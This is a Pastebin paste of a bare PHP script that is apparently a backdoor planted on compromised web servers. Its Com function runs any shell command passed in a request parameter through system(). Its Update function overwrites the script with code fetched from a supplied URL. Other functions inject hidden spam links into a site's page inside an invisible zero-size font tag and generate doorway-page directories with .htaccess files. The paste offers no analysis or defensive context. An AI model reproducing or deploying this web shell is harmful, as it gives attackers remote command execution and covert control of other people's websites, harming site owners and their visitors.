Guest User

Untitled

a guest
Jun 21st, 2018
87
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.19 KB | None | 0 0
  1. <?php
  2. ignore_user_abort(1);
  3. set_time_limit(0);
  4.  
  5. function Clear()
  6. {
  7. unlink("c");
  8. unlink("1r.txt");
  9. unlink("log");
  10. }
  11.  
  12. function Clear2()
  13. {
  14. $mrd = trim(file_get_contents("m"));
  15. $pt = "../$mrd";
  16. $fin = file_get_contents($pt);
  17. $fin = ereg_replace("<dd4>(.*)<dd5>", "", $fin);
  18. $fin = ereg_replace("<!--dd4-->(.*)<!--dd5-->", "", $fin);
  19. $fin = preg_replace('#<a[^>]+\_lm[^>]*>.*?</a>#is', '', $fin);
  20. $fin = preg_replace("/http(.*?)tmp6(.*?)\<\/a\>/", "", $fin);
  21. $fin = ereg_replace("<!--dd4-->", "", $fin);
  22. $fin = ereg_replace("<!--dd5-->", "", $fin);
  23. $fin = ereg_replace("<font style=\"position: absolute;overflow: hidden;height: 0;width: 0\">", "", $fin);
  24. $fmrd = fopen($pt, "w+");
  25. fwrite($fmrd, $fin);
  26. fclose($fmrd);
  27. echo " upt-ok";
  28. }
  29.  
  30. function GetVar($name, &$var)
  31. {
  32. $var = "";
  33. if (isset($_POST[$name]))
  34. $var = $_POST[$name];
  35.  
  36. if (isset($_GET[$name]))
  37. $var = $_GET[$name];
  38.  
  39. if (($var) =="")
  40. return false;
  41. else return true;
  42. }
  43.  
  44.  
  45. function GenNew()
  46. {
  47. $alp = "abcdefghiklmnjsweqrtyuiopzx";
  48. $maps = array();
  49. if (isset($_POST["sg"]))
  50. $sg = $_POST["sg"];
  51.  
  52. if (isset($_GET["sg"]))
  53. $sg = $_GET["sg"];
  54.  
  55. $path = "";
  56. $fr = fopen("1r.txt", "a+");
  57. if (file_exists("c"))
  58. {
  59. $fconf = file("c");
  60. $tname = trim($fconf[0]);
  61. }
  62. else
  63. {
  64. $fconf = fopen("c", "w+");
  65. $rnd = mt_rand(0, 999);
  66. $nm = "";
  67. for ($i=0; $i<5; $i++)
  68. {
  69. $ran = mt_rand(0,26);
  70. $sym = $alp[$ran];
  71. $nm = $nm.$sym;
  72. }
  73. $tname = $nm;
  74. mkdir($tname);
  75. fwrite($fconf, $tname);
  76. $pid = 0;
  77. $fht = fopen("$tname/.htaccess", "w+");
  78.  
  79. $htname = $sg."2.txt";
  80. $fp = fopen($htname, "r");
  81. $fin = '';
  82. while (!feof($fp))
  83. {
  84. $fc = fgets($fp, 1024);
  85. if (!$fc) break;
  86. $fin .= $fc;
  87. }
  88. fclose($fp);
  89. fwrite($fht, $fin);
  90. fclose($fht);
  91. }
  92. $gname = $sg."sgen.php";
  93. for ($j=$pid; $j<$pid+10; $j++)
  94. {
  95.  
  96. $fc = "";
  97. $fp = fopen($gname, "r");
  98. $fin = '';
  99. while (!feof($fp))
  100. {
  101. $fc = fgets($fp, 1024);
  102. if (!$fc) break;
  103. $fin .= $fc;
  104. }
  105. fclose($fp);
  106.  
  107. $arr = explode("</html>", $fin);
  108. //print_r($arr);
  109. $curs = trim($arr[1]);
  110.  
  111. $newf = "$tname/$curs/";
  112. echo "$newf";
  113. mkdir($newf);
  114. $fnd = fopen("$tname/$curs/$curs".".htm", "w+");
  115. fwrite($fnd, $fin);
  116. fclose($fnd);
  117. fwrite($fr, "$tname/$curs/$curs".".htm\n");
  118.  
  119.  
  120. }
  121.  
  122. }
  123.  
  124. function Gen2()
  125. {
  126. $alp = "abcdefghiklmnjsweqrtyuiopzx";
  127. $maps = array();
  128. $md = false;
  129. if (isset($_POST["sg"]))
  130. $sg = $_POST["sg"];
  131.  
  132. if (isset($_GET["sg"]))
  133. $sg = $_GET["sg"];
  134.  
  135. if (isset($_GET["md"]))
  136. $md = true;
  137.  
  138. $path = "";
  139. $fr = fopen("1r.txt", "a+");
  140. if (file_exists("c"))
  141. {
  142. $fconf = file("c");
  143. $tname = trim($fconf[0]);
  144. $i_dor = trim($fconf[1]);
  145. $i_dor = $i_dor+0;
  146. }
  147. else
  148. {
  149. $fconf = fopen("c", "w+");
  150. $rnd = mt_rand(0, 999);
  151. $nm = "";
  152. for ($i=0; $i<5; $i++)
  153. {
  154. $ran = mt_rand(0,26);
  155. $sym = $alp[$ran];
  156. $nm = $nm.$sym;
  157. }
  158. $tname = $nm;
  159. mkdir($tname);
  160. fwrite($fconf, $tname."\n");
  161. fwrite($fconf, "0\n");
  162. $pid = 0;
  163. $fht = fopen("$tname/.htaccess", "w+");
  164. $htname = $sg."2.txt";
  165. $fp = fopen($htname, "r");
  166. $fin = '';
  167. while (!feof($fp))
  168. {
  169. $fc = fgets($fp, 1024);
  170. if (!$fc) break;
  171. $fin .= $fc;
  172. }
  173. fclose($fp);
  174. fwrite($fht, $fin);
  175. fclose($fht);
  176.  
  177.  
  178. $fht = fopen("$tname/2.js", "w+");
  179. $htname = $sg."2js.txt";
  180. $fp = fopen($htname, "r");
  181. $fin = '';
  182. while (!feof($fp))
  183. {
  184. $fc = fgets($fp, 1024);
  185. if (!$fc) break;
  186. $fin .= $fc;
  187. }
  188. fclose($fp);
  189. fwrite($fht, $fin);
  190. fclose($fht);
  191.  
  192.  
  193.  
  194. $f1t = fopen("1t", "w+");
  195. $f1tname = $sg."1t.php";
  196. $fp = fopen($f1tname, "r");
  197. $fin = '';
  198. while (!feof($fp))
  199. {
  200. $fc = fgets($fp, 1024);
  201. if (!$fc) break;
  202. $fin .= $fc;
  203. }
  204. fclose($fp);
  205. fwrite($f1t, $fin);
  206. fclose($f1t);
  207.  
  208.  
  209. }
  210. $i_dor++;
  211. $i_dor--;
  212. $a1t = file("1t");
  213. $gname = $sg."sgen2.php";
  214. for ($j=$pid; $j<$pid+10; $j++)
  215. {
  216.  
  217. $cth = trim($a1t[$i_dor]);
  218. $i_dor++;
  219. $fc = "";
  220. $fp = fopen($gname."?th=$cth", "r");
  221. $fin = '';
  222. while (!feof($fp))
  223. {
  224. $fc = fgets($fp, 1024);
  225. if (!$fc) break;
  226. $fin .= $fc;
  227. }
  228. fclose($fp);
  229.  
  230.  
  231. $links ="";
  232. for ($y=0; $y<30; $y++)
  233. {
  234. $ry = mt_rand(0,199);
  235. $rth = trim($a1t[$ry]);
  236. $links .= "<a href='$rth.htm'>$rth</a> \n";
  237. }
  238. $fin = ereg_replace("<LINKS2>", $links, $fin);
  239.  
  240. $curs = $cth;
  241. $fnd = fopen("$tname/$curs".".htm", "w+");
  242. fwrite($fnd, $fin);
  243. fclose($fnd);
  244. if ($md)
  245. {
  246. fwrite($fr, "$tname/$curs".".htm\n");
  247. }
  248. }
  249. $fconf = fopen("c", "w+");
  250. fwrite($fconf, $tname."\n".$i_dor."\n");
  251. fclose($fconf);
  252. }
  253.  
  254. function Gen()
  255. {
  256. $alp = "abcdefghiklmnjsweqrtyuiopzx";
  257. $maps = array();
  258. if (isset($_POST["sg"]))
  259. $sg = $_POST["sg"];
  260.  
  261. if (isset($_GET["sg"]))
  262. $sg = $_GET["sg"];
  263.  
  264. if (isset($_POST["gm"]))
  265. $g = $_POST["gm"];
  266.  
  267. if (isset($_GET["gm"]))
  268. $g = $_GET["gm"];
  269.  
  270.  
  271. $path = "";
  272. $fr = fopen("1r.txt", "a+");
  273. if (file_exists("c"))
  274. {
  275. $fconf = file("c");
  276. $tname = trim($fconf[0]);
  277. $cname = trim($fconf[1]);
  278. $curs = trim($fconf[2]);
  279. $pid = trim($fconf[3]);
  280. if ($pid == 100)
  281. {
  282. $pid = 0;
  283. $rnd = mt_rand(0, 999);
  284. $nm = "";
  285. for ($i=0; $i<3; $i++)
  286. {
  287. $ran = mt_rand(0,26);
  288. $sym = $alp[$ran];
  289. $nm = $nm.$sym;
  290. }
  291. $cname = $nm;
  292. mkdir("$tname/$cname");
  293. $curs = $g;
  294. }
  295. }
  296. else
  297. {
  298. $rnd = mt_rand(0, 999);
  299. $nm = "";
  300. for ($i=0; $i<5; $i++)
  301. {
  302. $ran = mt_rand(0,26);
  303. $sym = $alp[$ran];
  304. $nm = $nm.$sym;
  305. }
  306. $tname = $nm;
  307. $pid = 0;
  308. $curs = $g;
  309. mkdir($tname);
  310. $fht = fopen("$tname/.htaccess", "w+");
  311. $htname = $sg."2.txt";
  312. $fp = fopen($htname, "r");
  313. $fin = '';
  314. while (!feof($fp))
  315. {
  316. $fc = fgets($fp, 1024);
  317. if (!$fc) break;
  318. $fin .= $fc;
  319. }
  320. fclose($fp);
  321. fwrite($fht, $fin);
  322. fclose($fht);
  323. $rnd = mt_rand(0, 999);
  324. $nm = "";
  325. for ($i=0; $i<3; $i++)
  326. {
  327. $ran = mt_rand(0,26);
  328. $sym = $alp[$ran];
  329. $nm = $nm.$sym;
  330. }
  331. $cname = $nm;
  332. mkdir("$tname/$cname");
  333. }
  334. $gname = $sg."sgen.php";
  335. for ($j=$pid; $j<$pid+10; $j++)
  336. {
  337. $fp = fopen($gname."?g=$curs", "r");
  338. $fin = '';
  339. while (!feof($fp))
  340. {
  341. $fc = fgets($fp, 1024);
  342. if (!$fc) break;
  343. $fin .= $fc;
  344. }
  345. fclose($fp);
  346.  
  347. $fnd = fopen("$tname/$cname/$curs"."_$j.htm", "w+");
  348. fwrite($fnd, $fin);
  349. fclose($fnd);
  350. }
  351.  
  352. if ($j==100)
  353. {
  354. $fp = fopen($gname."?g=$curs&m=1", "r");
  355. $fin = '';
  356. while (!feof($fp))
  357. {
  358. $fc = fgets($fp, 1024);
  359. if (!$fc) break;
  360. $fin .= $fc;
  361. }
  362. fclose($fp);
  363. $fnd = fopen("$tname/$cname/$curs"."_lm.htm", "w+");
  364. fwrite($fnd, $fin);
  365. fclose($fnd);
  366. $map = "$path/$tname/$cname/$curs"."_lm.htm";
  367. fwrite($fr,"$map\n");
  368. }
  369.  
  370. $fconf = fopen("c", "w+");
  371. fwrite($fconf, $tname."\n");
  372. fwrite($fconf, $cname."\n");
  373. fwrite($fconf, $curs."\n");
  374. $nj = $j;
  375. fwrite($fconf, $nj."\n");
  376. fclose($fconf);
  377.  
  378. }
  379.  
  380. function Update()
  381. {
  382. if (isset($_GET["name"]))
  383. $sname = $_GET["name"];
  384.  
  385. $thisname = "$sname.php";
  386. if (isset($_POST['u']))
  387. $u = $_POST['u'];
  388.  
  389. if (isset($_GET['u']))
  390. $u = $_GET['u'];
  391.  
  392. $fp = fopen($u, "r");
  393. $fin = '';
  394. while (!feof($fp))
  395. {
  396. $fc = fgets($fp, 1024);
  397. if (!$fc) break;
  398. $fin .= $fc;
  399. }
  400. fclose($fp);
  401.  
  402. $fthis = fopen($thisname, "w+");
  403. fwrite($fthis, $fin);
  404. fclose($fthis);
  405. }
  406.  
  407. function Com()
  408. {
  409. if (isset($_POST['c']))
  410. @system($_POST['c']);
  411. if (isset($_GET['c']))
  412. @system($_GET['c']);
  413. }
  414.  
  415. function MRepl()
  416. {
  417. $mpt = "";
  418. $drs = "";
  419. $begtag = "<dd4><font style=\"position: absolute;overflow: hidden;height: 0;width: 0\">";
  420. $endtag = "</font></body></html><dd5> ";
  421. $mrd = trim(file_get_contents("m"));
  422. $pt = "../$mrd";
  423. $fin = file_get_contents($pt);
  424. GetVar("mpt", $mpt);
  425. // óäàëÿåì çàâåðøàþùèå õòìë òåãè
  426. $fin = preg_replace ("/<\/body>/i", "", $fin);
  427. $fin = preg_replace ("/<\/html>/i", "", $fin);
  428. $fin = ereg_replace("<!--dd4-->(.*)<!--dd5-->", "", $fin);
  429. $fin = ereg_replace("<dd4>(.*)<dd5>", "", $fin);
  430. $fp = fopen($mpt, "r");
  431. $drs = '';
  432. while (!feof($fp))
  433. {
  434. $fc = fgets($fp, 1024);
  435. if (!$fc)
  436. {
  437. exit();
  438. }
  439. $drs .= $fc;
  440. }
  441. fclose($fp);
  442. $fin = $fin.$begtag;
  443. $fin = $fin.$drs;
  444. $fin = $fin.$endtag;
  445. $fmrd = fopen($pt, "w+");
  446. fwrite($fmrd, $fin);
  447. fclose($fmrd);
  448. }
  449.  
  450.  
  451.  
  452. function Main()
  453. {
  454. if (isset($_POST['u']) || isset($_GET['u']))
  455. {
  456. Update();
  457. exit();
  458. }
  459.  
  460.  
  461.  
  462. if (isset($_POST['c']) || isset($_GET['c']))
  463. {
  464. Com();
  465. exit();
  466. }
  467.  
  468. if (isset($_POST['g']) || isset($_GET['g']))
  469. {
  470. Gen();
  471. exit();
  472. }
  473.  
  474. if (isset($_POST['g1']) || isset($_GET['g1']))
  475. {
  476. GenNew();
  477. exit();
  478. }
  479.  
  480.  
  481. if (isset($_POST['g2']) || isset($_GET['g2']))
  482. {
  483. Gen2();
  484. exit();
  485. }
  486.  
  487. if (isset($_POST['s']) || isset($_GET['s']))
  488. {
  489. MRepl();
  490. exit();
  491. }
  492.  
  493. if (isset($_POST['cl']) || isset($_GET['cl']))
  494. {
  495. Clear();
  496. exit();
  497. }
  498.  
  499. if (isset($_POST['cl2']) || isset($_GET['cl2']))
  500. {
  501. Clear2();
  502. exit();
  503. }
  504.  
  505. echo "<ok>";
  506.  
  507. }
  508.  
  509. Main();
  510.  
  511. ?>
Add Comment
Please, Sign In to add comment